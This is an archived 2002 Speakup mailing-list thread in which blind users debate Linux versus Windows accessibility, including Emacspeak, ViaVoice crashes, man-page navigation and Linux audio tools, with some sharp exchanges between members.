>    See http://www.fsf.org/philosophy/no-word-attachments.html
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>







_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Hi, I have more CGI and Perl programming books and tutorials, and I've
talked with Oreilly because they offer books for free for the blind, but I
need to find an accessible text editor for Perl under Linux.
For the moment, I make them under Windows and save them as Unix text format.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 2:19 PM
Subject: Re: interesting experiment.


Hi all,

Hmmmmm, I just saw titles in a certain place for about five books on
CGI scripting language.  I think if you do a search on CGI
documentation, maybe ask O'Reilly publishing to help you, things like
that, you will find the info you need.

Unfortunately, Teddy, I'm not a programmer.  I don't programm
computers.  But others on this list do.  If you can ask specific
questions about CGI programming and PERL, I'm sure you will find help.

We're willing to help you, but if you sit there and say, "Waaa, nobody
will help me..."  That will not make us willing to do that.  So start
reading and begin asking questions.

Ann P.

--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Deedra Waters]

Try man < emacs|less then use the speakup keys to read line by line, or
word by word if you wish. you can bring up the next page by hitting the
space bar.


On Mon, 20 May 2002, Octavian Rasnita wrote:

> Please enlighten me.
> I never used the Jaws cursor in the new HTML help  format under Windows.
> Select an item in the tree view, press enter, then press F6 and it will
> automaticly start reading that help item. It is a simple HTML file there,
> and it works exactly as simple as Internet Explorer.
> You don't need the Jaws cursor at all.
> 
> You needed the Jaws cursor only for some bad designed help files in the old
> .hlp format.
> Now in the new .chm format, you don't have any problems.
> 
> But this doesn't matter too much. Please tell me how to navigate the man
> pages.
> I type man mv, for example.
> It starts to print all the help file, but maybe I want to move with a page
> up then down, etc.
> 
> I know this is possible. Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:05 AM
> Subject: Re: interesting experiment.
> 
> 
> SNIP
> > > You open a window, and it explains you what you should do there.
> > > You have to press the space bar to check some checkboxes, to press some
> > > buttons, etc, and if you don't know something, press shift+f10 (or the
> right
> > > mouse button and choose "what's this?" or press F1 to view the help file
> > > wich is much much more easier to navigate than the man pages under
> Linux.
> SNIP
> 
> A fake.
> man pages under GNU/Linux are a lot easier to navigate than windows help
> pages.
> you need to route the jaws cursor to the pc and then fart around trying to
> find what you were looking for.
> even with the new features in jfw I seriously doubt you could navigate a
> help file easier than a man page..
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Octavian Rasnita]

Of course, because that problem happend me for more times.

I think I found a little problem but I am not sure.

When it starts, emacspeak  tell me that message that it is functioning
normally (BTW. How can I change that message?)  and I don't care about that
message and I start pressing the normal shortcuts for launching the terminal
mode before it finishes the message. When I do that, the terminal doesn't
start.
If I let emacspeak to finish its message, I can start it.

How can I stop the voice? What key should I press if I want to stop the
message?
I searched in the help file but I couldn't find it.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 3:42 AM
Subject: Re: interesting experiment.


Octavian: You need to explain yourself.

What is the meaning of "of course" in your message?

What's that about?

Also, why are you rebooting? That's your hangover from Windows.

Get a clue. That's not the way to get out of trouble.

Your emacs is probably working just fine, and you can probably
get back to your buffer list with c-x c-b

Now, instead of whining at the first sign of trouble, why not
study how to use the program a bit? Have you read the tutorials?
What can you succeed with? Or, did you just come here to say:

"of course"

to us.

I won't accept that. Not from you, not from anyone.

On Sun, 19 May 2002, Octavian Rasnita wrote:

> I press the keys for  launching the terminal mode under Emacspeak, I type
a
> simple ls command to test it, I won't hear anything of course, then the
> computer stopped speaking, and I need to reboot it.
> IS Emacspeak the problem? Is IBM Via Voice stopping?
> I don't know.
> Thank you for putting me to learn. <gee>
> Do you have a link to a text file with all the command lines used by
> emacspeak?
> I've tried that help, but I couldn't find how to set the speed of voice
> sinthesizer faster, nor how to read a text at once, not line by line.
> I also would like to know how can I skip the text when I read this way.
>
> In Windows, I can put the screen reader to read in "say all" mode and if I
> press the right shift, it skips a line and continue reading without
> stopping.
> If I press the left shift, it goes back with a line and continue reading
> without stopping.
>
> This is a good feature and I am sure it should be in Emacspeak also.
> However, I couldn't find it.
>
> I would also like to know if there is a kind of control panel for
emacspeak,
> where I can set all the variables, a configuration file, etc.
> Emacspeak starts with a text file which is not too big and I should read a
> lot of things before finding how to set the sinthesizer faster.
> And I don't  have the patience to listen how slowly it speaks.
>
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 6:17 AM
> Subject: Re: interesting experiment.
>
>
> No joke. Emacs is easier than Windows.
>
> Now, Octavian, stop belly aching and go learn how to do
> something.
>
> On Sun, 19 May 2002, Octavian Rasnita wrote:
>
> > Do you mean that using Emacspeak is easier than using Windows?
> > Nice joke. Really.
> > And ... without a hardware sinthesizer, with that IBM Via Voice that
likes
> > to crash so often, or other software sinthesizers hard to understand,
...
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Ann Parsons" <akp@eznet.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 11:53 PM
> > Subject: Re: interesting experiment.
> >
> >
> > Hi all,
> >
> > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > output system that uses software speech.
> >
> > Ann P.
> >
> > --
> > Ann K. Parsons
> > email:  akp@eznet.net ICQ Number:  33006854
> > WEB SITE:  http://home.eznet.net/~akp
> > "All that is gold does not glitter.  Not all those who wander are lost."
> > JRRT
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

You can use man man to find out about man. Yes, there's a man
page for man itself.

And, you can do:

man man -k

to find out about the commands for which there are man pages.

Also, in Red Hat at least, the default pager is less, so Diedra's
syntax is superfluous for Red Hat users.

If your experience is mostly with DOS or Windows, you should read
the HOWTO written especially for new users of Linux who come from
Microsoft environments:

http://linuxdoc.org/HOWTO/DOS-Win-to-Linux-HOWTO.html


On Sun, 19 May 2002, Deedra Waters wrote:

> Try man < emacs|less then use the speakup keys to read line by line, or
> word by word if you wish. you can bring up the next page by hitting the
> space bar.
> 
> 
> On Mon, 20 May 2002, Octavian Rasnita wrote:
> 
> > Please enlighten me.
> > I never used the Jaws cursor in the new HTML help  format under Windows.
> > Select an item in the tree view, press enter, then press F6 and it will
> > automaticly start reading that help item. It is a simple HTML file there,
> > and it works exactly as simple as Internet Explorer.
> > You don't need the Jaws cursor at all.
> > 
> > You needed the Jaws cursor only for some bad designed help files in the old
> > .hlp format.
> > Now in the new .chm format, you don't have any problems.
> > 
> > But this doesn't matter too much. Please tell me how to navigate the man
> > pages.
> > I type man mv, for example.
> > It starts to print all the help file, but maybe I want to move with a page
> > up then down, etc.
> > 
> > I know this is possible. Thanks.
> > Teddy,
> > orasnita@home.ro
> > 
> > ----- Original Message -----
> > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 8:05 AM
> > Subject: Re: interesting experiment.
> > 
> > 
> > SNIP
> > > > You open a window, and it explains you what you should do there.
> > > > You have to press the space bar to check some checkboxes, to press some
> > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> > right
> > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > wich is much much more easier to navigate than the man pages under
> > Linux.
> > SNIP
> > 
> > A fake.
> > man pages under GNU/Linux are a lot easier to navigate than windows help
> > pages.
> > you need to route the jaws cursor to the pc and then fart around trying to
> > find what you were looking for.
> > even with the new features in jfw I seriously doubt you could navigate a
> > help file easier than a man page..
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

I have no idea what you're talking about. This isn't a JFW list.

Was there a question here? Or what is this all about?

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Please enlighten me.
> I never used the Jaws cursor in the new HTML help  format under Windows.
> Select an item in the tree view, press enter, then press F6 and it will
> automaticly start reading that help item. It is a simple HTML file there,
> and it works exactly as simple as Internet Explorer.
> You don't need the Jaws cursor at all.
> 
> You needed the Jaws cursor only for some bad designed help files in the old
> .hlp format.
> Now in the new .chm format, you don't have any problems.
> 
> But this doesn't matter too much. Please tell me how to navigate the man
> pages.
> I type man mv, for example.
> It starts to print all the help file, but maybe I want to move with a page
> up then down, etc.
> 
> I know this is possible. Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:05 AM
> Subject: Re: interesting experiment.
> 
> 
> SNIP
> > > You open a window, and it explains you what you should do there.
> > > You have to press the space bar to check some checkboxes, to press some
> > > buttons, etc, and if you don't know something, press shift+f10 (or the
> right
> > > mouse button and choose "what's this?" or press F1 to view the help file
> > > wich is much much more easier to navigate than the man pages under
> Linux.
> SNIP
> 
> A fake.
> man pages under GNU/Linux are a lot easier to navigate than windows help
> pages.
> you need to route the jaws cursor to the pc and then fart around trying to
> find what you were looking for.
> even with the new features in jfw I seriously doubt you could navigate a
> help file easier than a man page..
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Did you say you have a DEC Talk internal? Use it.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Ok, at least I know what is the problem now.
> Are there any better software sinthesizers than Via voice  that can work
> with emacspeak?
> I don't care too much about responsiveness. I care about the sound quality.
> 
> Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 7:58 AM
> Subject: Re: interesting experiment.
> 
> 
> I believe he is speaking of ViaVoice, and it does crash. Now, if
> the source were available, someone of us would undoubtedly have
> solved this issue. But it isn't.
> 
> So, don't blame Linux. Blame IBM and the Windows mindset that
> they brought to Linux in ViaVoice.
> 
> On Sun, 19 May 2002, Cecil H. Whitley wrote:
> 
> > Hi,
> > Just a minor question, are you speaking of viavoice outloud for windows or
> > linux??  Things crashing under windows is normal, expected behavior.  I
> > would go so far as to inquire if possibly there is a "crashed_recently"
> > variable within windows along with a random countdown timer......
> > Regards,
> > Cecil
> > ----- Original Message -----
> > From: "Octavian Rasnita" <orasnita@home.ro>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 8:45 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > Do you mean that using Emacspeak is easier than using Windows?
> > > Nice joke. Really.
> > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> likes
> > > to crash so often, or other software sinthesizers hard to understand,
> ...
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Ann Parsons" <akp@eznet.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 11:53 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Hi all,
> > >
> > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > output system that uses software speech.
> > >
> > > Ann P.
> > >
> > > --
> > > Ann K. Parsons
> > > email:  akp@eznet.net ICQ Number:  33006854
> > > WEB SITE:  http://home.eznet.net/~akp
> > > "All that is gold does not glitter.  Not all those who wander are lost."
> > > JRRT
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Octavian:

When you ask intelligent questions, I will answer you.

When you refuse to follow good advice, I will ignore you, as I
will now ignore this question from you.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Are these programs free? Do you have a web site address  where I can
> download them?
> 
> Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:43 PM
> Subject: Re: interesting experiment.
> 
> 
> Alex:
> 
> There's both ecasound and sox, and they're both very powerful.
> But, they work very differetnly from Sound Forge and Cool Edit.
> Also, their documentation is not professionally written, even
> though it is professional quality software.
> 
> In the realm of sound creation, there's the very classic Csound
> available for linux. This is the grand old synthesis ware that
> has been the bread and butter of major electronic music research
> facilities like carma at Stanford and Earcom in Paris.
> 
> On Sun, 19 May 2002, Alex Snow wrote:
> 
> > Is there any console based audio editors that work under linux? I've seen
> > one listed on the speakup projects page, but it said that it was on hold
> > because there were alternate solutions out there.  What are those
> alternate
> > solutions?
> > ----- Original Message -----
> > From: "Rich Caloggero" <rjc@MIT.EDU>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 3:08 AM
> > Subject: Re: interesting experiment.
> >
> >
> > > Yes, I must second on the music stuff. The only reason I use windows and
> > > Jaws is that it gives me access to cakeWalk, a very powerful (and mostly
> > > accessible) music sequencing and audio editing environment. Writing such
> a
> > > beast is very difficult, nontrivial, very f*cking hard, and takes many
> > human
> > > years to accomplish.
> > > To be fair, some of this difficulty may have to do with its reliance on
> > > Windows and its very ugly GUI programming (yes, its as ugly to develope
> > > under as it is to use), and some of the complexity may have to do with
> its
> > > ability to deal with music notation, but its still a nontrivial task to
> > > write such a beast. My feeling is that a console based sequencing and
> > audio
> > > package like cakeWalk won't ever be created, because sighted people want
> > to
> > > use a GUI. When gnome comes on-line for us, we may have more options in
> > this
> > > regard. I've heard of mixers and effects processors which are x-windows
> > > based, but I'm not sure how well they work. I think there is a sequencer
> > or
> > > two as well for the X environment. The question is, are any of these as
> > good
> > > as cakeWalk? CakeWalk is a professional quality product in every way.
> The
> > > only thing nonprofessional about it is Windows!
> > >
> > > There is someone (Frank Carmichael, I believe) who has been working on
> the
> > > audio piece of this, so maybe he can chime in on this and tell me how
> > *wrong
> > > I am*! <smile>
> > >
> > > There is no way to create music the way I do without this program! It
> sux,
> > > but its unfortunately the case.
> > >
> > >                     Rich
> > >
> > > ----- Original Message -----
> > > From: "Octavian Rasnita" <orasnita@home.ro>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: 18 May, 2002 8:37 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Are there any games accessible for the blind under Linux, like under
> > > Windows?
> > > Please tell me some web addresses.
> > > Are there any good sound editing programs for Linux, like Sound Forge,
> > Cool
> > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > Walk?
> > >
> > > Is there a text editor, that has macro features, Regular expressions,
> the
> > > ability to save in Windows/Mac/Unix format, etc?
> > >
> > > ... Just a few things that camed to mind.
> > >
> > > A lot of things are accessible, but ... harder to learn, harder to
> > configure
> > > and harder to use, if I am not so bright to remember 1000 command line
> > > parameters.
> > >
> > > Thank you for the links.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 9:59 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > I just wish Linux were
> > > > a more viable general purpose workstation; I use Windows for that
> > purpose.
> > > >
> > > Hi, Darrell:
> > >
> > > Just wondering what you think is missing from Linux' desktop
> > > applications.
> > >
> > > In case this sounds loaded, it might be. The underlying question
> > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > For my own experience in this matter, I've found it's my
> > > knowledge deficit almost without exception.
> > >
> > >
> > >
> > >
> >
> > --------------------------------------------------------------------------
> > --
> > > ----
> > >
> > >
> > >
> > > ---
> > > Outgoing mail is certified Virus Free.
> > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > >
> > >
> > >
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Octavian Rasnita]

It was talking about reading the help file in Windows, and I've explained
how to.
It is not something special for Jaws.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 6:19 AM
Subject: Re: interesting experiment.


I have no idea what you're talking about. This isn't a JFW list.

Was there a question here? Or what is this all about?

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Please enlighten me.
> I never used the Jaws cursor in the new HTML help  format under Windows.
> Select an item in the tree view, press enter, then press F6 and it will
> automaticly start reading that help item. It is a simple HTML file there,
> and it works exactly as simple as Internet Explorer.
> You don't need the Jaws cursor at all.
>
> You needed the Jaws cursor only for some bad designed help files in the
old
> .hlp format.
> Now in the new .chm format, you don't have any problems.
>
> But this doesn't matter too much. Please tell me how to navigate the man
> pages.
> I type man mv, for example.
> It starts to print all the help file, but maybe I want to move with a page
> up then down, etc.
>
> I know this is possible. Thanks.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:05 AM
> Subject: Re: interesting experiment.
>
>
> SNIP
> > > You open a window, and it explains you what you should do there.
> > > You have to press the space bar to check some checkboxes, to press
some
> > > buttons, etc, and if you don't know something, press shift+f10 (or the
> right
> > > mouse button and choose "what's this?" or press F1 to view the help
file
> > > wich is much much more easier to navigate than the man pages under
> Linux.
> SNIP
>
> A fake.
> man pages under GNU/Linux are a lot easier to navigate than windows help
> pages.
> you need to route the jaws cursor to the pc and then fart around trying to
> find what you were looking for.
> even with the new features in jfw I seriously doubt you could navigate a
> help file easier than a man page..
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Ed Barnes]

Hi ther buddy, I think something's strange there but I don't think we'll 
agree on what's so strange, one hint, it has nothing to do with 20 
letter commands vs shift f10 and check boxes.
 Octavian I am relatively new to Linux myself so can understand the fact 
that there are growing pains, remember that Linux is like anything else 
you try, it takes time to learn and perfect your skill and you will get 
out of Linux what you put into learning about it. So, it seems you've 
taken alot but you've not given much with regard to the amount of effort 
you've expended. 
Don't know about any other listers here but if you are going to 
continually send messages making excuses for this and or that to the list 
and  not contribute in any other way other than to complain my next 
project as a relative Linux newbie will be learning procmail and you 
Octavian will be filter #1.
Hope I've not offended anyone with this note including you Octavion and if 
I have I'm sorry, the reality in my case is that I'm someone who tells 
things as I see them and if someone doesn't lime me or what I've said as a 
rsult I can live with that.
 On Mon, 20 May 2002, Octavian Rasnita wrote:

> Is it harder to remember a space bar than a command line with 20 characters?
> Something's strange here.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:25 AM
> Subject: Re: interesting experiment.
> 
> 
> Spacebar? Shift F10? Man, how can you remember all that stuff?
> 
> 
> On Sun, 19 May 2002, Shaun Oliver wrote:
> 
> > SNIP
> > > > You open a window, and it explains you what you should do there.
> > > > You have to press the space bar to check some checkboxes, to press
> some
> > > > buttons, etc, and if you don't know something, press shift+f10 (or the
> right
> > > > mouse button and choose "what's this?" or press F1 to view the help
> file
> > > > wich is much much more easier to navigate than the man pages under
> Linux.
> > SNIP
> >
> > A fake.
> > man pages under GNU/Linux are a lot easier to navigate than windows help
> > pages.
> > you need to route the jaws cursor to the pc and then fart around trying to
> > find what you were looking for.
> > even with the new features in jfw I seriously doubt you could navigate a
> > help file easier than a man page..
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Janina Sajka]

This is not an important problem. You have more important things
to worry about than this.

Also, using emacs' terminal mode is probably not the smartest way
to learn about emacs.

If you're trying to learn emacs, you shouldn't start with that.
You're trying to run, and you haven't even learned how to crawl
yet.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Of course, because that problem happend me for more times.
> 
> I think I found a little problem but I am not sure.
> 
> When it starts, emacspeak  tell me that message that it is functioning
> normally (BTW. How can I change that message?)  and I don't care about that
> message and I start pressing the normal shortcuts for launching the terminal
> mode before it finishes the message. When I do that, the terminal doesn't
> start.
> If I let emacspeak to finish its message, I can start it.
> 
> How can I stop the voice? What key should I press if I want to stop the
> message?
> I searched in the help file but I couldn't find it.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 3:42 AM
> Subject: Re: interesting experiment.
> 
> 
> Octavian: You need to explain yourself.
> 
> What is the meaning of "of course" in your message?
> 
> What's that about?
> 
> Also, why are you rebooting? That's your hangover from Windows.
> 
> Get a clue. That's not the way to get out of trouble.
> 
> Your emacs is probably working just fine, and you can probably
> get back to your buffer list with c-x c-b
> 
> Now, instead of whining at the first sign of trouble, why not
> study how to use the program a bit? Have you read the tutorials?
> What can you succeed with? Or, did you just come here to say:
> 
> "of course"
> 
> to us.
> 
> I won't accept that. Not from you, not from anyone.
> 
> On Sun, 19 May 2002, Octavian Rasnita wrote:
> 
> > I press the keys for  launching the terminal mode under Emacspeak, I type
> a
> > simple ls command to test it, I won't hear anything of course, then the
> > computer stopped speaking, and I need to reboot it.
> > IS Emacspeak the problem? Is IBM Via Voice stopping?
> > I don't know.
> > Thank you for putting me to learn. <gee>
> > Do you have a link to a text file with all the command lines used by
> > emacspeak?
> > I've tried that help, but I couldn't find how to set the speed of voice
> > sinthesizer faster, nor how to read a text at once, not line by line.
> > I also would like to know how can I skip the text when I read this way.
> >
> > In Windows, I can put the screen reader to read in "say all" mode and if I
> > press the right shift, it skips a line and continue reading without
> > stopping.
> > If I press the left shift, it goes back with a line and continue reading
> > without stopping.
> >
> > This is a good feature and I am sure it should be in Emacspeak also.
> > However, I couldn't find it.
> >
> > I would also like to know if there is a kind of control panel for
> emacspeak,
> > where I can set all the variables, a configuration file, etc.
> > Emacspeak starts with a text file which is not too big and I should read a
> > lot of things before finding how to set the sinthesizer faster.
> > And I don't  have the patience to listen how slowly it speaks.
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 6:17 AM
> > Subject: Re: interesting experiment.
> >
> >
> > No joke. Emacs is easier than Windows.
> >
> > Now, Octavian, stop belly aching and go learn how to do
> > something.
> >
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > Do you mean that using Emacspeak is easier than using Windows?
> > > Nice joke. Really.
> > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> likes
> > > to crash so often, or other software sinthesizers hard to understand,
> ...
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Ann Parsons" <akp@eznet.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 11:53 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Hi all,
> > >
> > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > output system that uses software speech.
> > >
> > > Ann P.
> > >
> > > --
> > > Ann K. Parsons
> > > email:  akp@eznet.net ICQ Number:  33006854
> > > WEB SITE:  http://home.eznet.net/~akp
